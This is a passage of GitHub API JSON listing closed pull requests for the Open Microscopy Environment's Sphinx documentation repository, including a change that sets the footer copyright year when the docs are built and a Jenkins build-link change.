pages","state":"closed","number":219,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/219","head":{"user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"label":"hflynn:10212-fix","repo":{"forks":0,"svn_url":"https://github.com/hflynn/ome-documentation","merges_url":"https://api.github.com/repos/hflynn/ome-documentation/merges","languages_url":"https://api.github.com/repos/hflynn/ome-documentation/languages","assignees_url":"https://api.github.com/repos/hflynn/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/hflynn/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/hflynn/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/hflynn/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"open_issues":0,"updated_at":"2013-02-01T17:31:59Z","milestones_url":"https://api.github.com/repos/hflynn/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/hflynn/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/hflynn/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/hflynn/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/hflynn/ome-documentation/events","notifications_url":"https://api.github.com/repos/hflynn/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/hflynn/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/hflynn/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/hflynn/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/hflynn/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/hflynn/ome-documentation/collaborators{/collaborator}","full_name":"hflynn/ome-documentation","ssh_url":"git@github.com:hflynn/ome-documentation.git","pulls_url":"https://api.github.com/repos/hflynn/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/hflynn/ome-documentation/subscription","teams_url":"https://api.github.com/repos/hflynn/ome-documentation/teams","watchers":0,"created_at":"2012-09-18T09:22:07Z","git_url":"git://github.com/hflynn/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/hflynn/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/hflynn/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/hflynn/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/hflynn/ome-documentation/keys{/key_id}","size":340,"compare_url":"https://api.github.com/repos/hflynn/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/hflynn/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/hflynn/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/hflynn/ome-documentation/hooks","fork":true,"html_url":"https://github.com/hflynn/ome-documentation","master_branch":"develop","clone_url":"https://github.com/hflynn/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/hflynn/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/events{/number}","private":false,"id":5853981,"default_branch":"develop","pushed_at":"2013-02-01T17:31:59Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/hflynn/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/hflynn/ome-documentation/forks"},"sha":"da1e4f93f741fd561c26b904d87f1962f82b9762","ref":"10212-fix"},"assignee":null,"updated_at":"2013-01-22T18:17:14Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/219/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/219/commits","closed_at":"2013-01-22T18:17:14Z","user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/219","merged_at":"2013-01-22T18:17:14Z","merge_commit_sha":"b975c011df85c43237f810b7c03472c37b1249d4","created_at":"2013-01-18T12:13:33Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/219/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/219.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/219","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"See tickets 10212 & 10199 ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/219.diff","id":3737282,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"1843d7a435646ed07dd56821b5d9ba02105cd716","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/218/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/218"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/218"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/218"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/218/comments"}},"title":"Make the copyright date the current year (rebased onto develop)","state":"closed","number":218,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/218","head":{"user":{"type":"User","url":"https://api.github.com/users/bpindelski","received_events_url":"https://api.github.com/users/bpindelski/received_events","login":"bpindelski","events_url":"https://api.github.com/users/bpindelski/events{/privacy}","organizations_url":"https://api.github.com/users/bpindelski/orgs","avatar_url":"https://secure.gravatar.com/avatar/3c0a5e3c2c6d2f8117bbe6e08c930874?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/bpindelski/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/bpindelski/gists{/gist_id}","gravatar_id":"3c0a5e3c2c6d2f8117bbe6e08c930874","followers_url":"https://api.github.com/users/bpindelski/followers","id":1692189,"repos_url":"https://api.github.com/users/bpindelski/repos","subscriptions_url":"https://api.github.com/users/bpindelski/subscriptions","following_url":"https://api.github.com/users/bpindelski/following"},"label":"bpindelski:rebased/develop/doc-date","repo":{"forks":1,"svn_url":"https://github.com/bpindelski/ome-documentation","merges_url":"https://api.github.com/repos/bpindelski/ome-documentation/merges","languages_url":"https://api.github.com/repos/bpindelski/ome-documentation/languages","assignees_url":"https://api.github.com/repos/bpindelski/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/bpindelski/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/bpindelski/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/bpindelski/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/bpindelski","received_events_url":"https://api.github.com/users/bpindelski/received_events","login":"bpindelski","events_url":"https://api.github.com/users/bpindelski/events{/privacy}","organizations_url":"https://api.github.com/users/bpindelski/orgs","avatar_url":"https://secure.gravatar.com/avatar/3c0a5e3c2c6d2f8117bbe6e08c930874?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/bpindelski/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/bpindelski/gists{/gist_id}","gravatar_id":"3c0a5e3c2c6d2f8117bbe6e08c930874","followers_url":"https://api.github.com/users/bpindelski/followers","id":1692189,"repos_url":"https://api.github.com/users/bpindelski/repos","subscriptions_url":"https://api.github.com/users/bpindelski/subscriptions","following_url":"https://api.github.com/users/bpindelski/following"},"open_issues":0,"updated_at":"2013-01-22T10:13:55Z","milestones_url":"https://api.github.com/repos/bpindelski/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/bpindelski/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/bpindelski/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/bpindelski/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/bpindelski/ome-documentation/events","notifications_url":"https://api.github.com/repos/bpindelski/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/bpindelski/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/bpindelski/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/bpindelski/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/bpindelski/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/bpindelski/ome-documentation/collaborators{/collaborator}","full_name":"bpindelski/ome-documentation","ssh_url":"git@github.com:bpindelski/ome-documentation.git","pulls_url":"https://api.github.com/repos/bpindelski/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/bpindelski/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":1,"subscription_url":"https://api.github.com/repos/bpindelski/ome-documentation/subscription","teams_url":"https://api.github.com/repos/bpindelski/ome-documentation/teams","watchers":0,"created_at":"2012-08-14T09:55:03Z","git_url":"git://github.com/bpindelski/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/bpindelski/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/bpindelski/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/bpindelski/ome-documentation/keys{/key_id}","size":280,"compare_url":"https://api.github.com/repos/bpindelski/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/bpindelski/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/bpindelski/ome-documentation/hooks","fork":true,"html_url":"https://github.com/bpindelski/ome-documentation","clone_url":"https://github.com/bpindelski/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/bpindelski/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/bpindelski/ome-documentation/issues/events{/number}","private":false,"id":5411049,"pushed_at":"2013-01-22T10:13:53Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/bpindelski/ome-documentation/forks"},"sha":"f224736c38ee147e7ac6998c65abb801b0ca372c","ref":"rebased/develop/doc-date"},"assignee":null,"updated_at":"2013-01-21T22:24:16Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/218/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/218/commits","closed_at":"2013-01-21T22:24:16Z","user":{"type":"User","url":"https://api.github.com/users/bpindelski","received_events_url":"https://api.github.com/users/bpindelski/received_events","login":"bpindelski","events_url":"https://api.github.com/users/bpindelski/events{/privacy}","organizations_url":"https://api.github.com/users/bpindelski/orgs","avatar_url":"https://secure.gravatar.com/avatar/3c0a5e3c2c6d2f8117bbe6e08c930874?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/bpindelski/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/bpindelski/gists{/gist_id}","gravatar_id":"3c0a5e3c2c6d2f8117bbe6e08c930874","followers_url":"https://api.github.com/users/bpindelski/followers","id":1692189,"repos_url":"https://api.github.com/users/bpindelski/repos","subscriptions_url":"https://api.github.com/users/bpindelski/subscriptions","following_url":"https://api.github.com/users/bpindelski/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/218","merged_at":"2013-01-21T22:24:16Z","merge_commit_sha":"5475fe1afba8be953a27ead4d6e77fd34ced6e48","created_at":"2013-01-18T09:09:27Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/218/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/218.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/218","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-215 but rebased onto develop.\n\n----\n\nAs @hflynn noticed, the date in the documentation footer was a static string. With this PR it'll be formatted to the current year in which the docs have been built (depending on the settings of the build system).\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/218.diff","id":3735194,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"dd7e4e54f700f8e7c1ddf4933bacf5d07016ac5b","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/217/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/217"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/217"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/217"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/217/comments"}},"title":"Replace lastSuccessfulBuild by lastBuild (rebased onto develop)","state":"closed","number":217,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/217","head":{"user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"label":"sbesson:rebased/develop/jenkins_testing","repo":{"forks":0,"svn_url":"https://github.com/sbesson/ome-documentation","merges_url":"https://api.github.com/repos/sbesson/ome-documentation/merges","languages_url":"https://api.github.com/repos/sbesson/ome-documentation/languages","assignees_url":"https://api.github.com/repos/sbesson/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/sbesson/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/sbesson/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/sbesson/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"open_issues":0,"updated_at":"2013-02-02T21:21:49Z","milestones_url":"https://api.github.com/repos/sbesson/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/sbesson/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/sbesson/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/sbesson/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/sbesson/ome-documentation/events","notifications_url":"https://api.github.com/repos/sbesson/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/sbesson/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/sbesson/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/sbesson/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/sbesson/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/sbesson/ome-documentation/collaborators{/collaborator}","full_name":"sbesson/ome-documentation","ssh_url":"git@github.com:sbesson/ome-documentation.git","pulls_url":"https://api.github.com/repos/sbesson/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/sbesson/ome-documentation/subscription","teams_url":"https://api.github.com/repos/sbesson/ome-documentation/teams","watchers":1,"created_at":"2012-08-22T08:57:59Z","git_url":"git://github.com/sbesson/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/sbesson/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/sbesson/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/sbesson/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/sbesson/ome-documentation/keys{/key_id}","size":608,"compare_url":"https://api.github.com/repos/sbesson/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/sbesson/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/sbesson/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/sbesson/ome-documentation/hooks","fork":true,"html_url":"https://github.com/sbesson/ome-documentation","master_branch":"dev_4_4","clone_url":"https://github.com/sbesson/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment 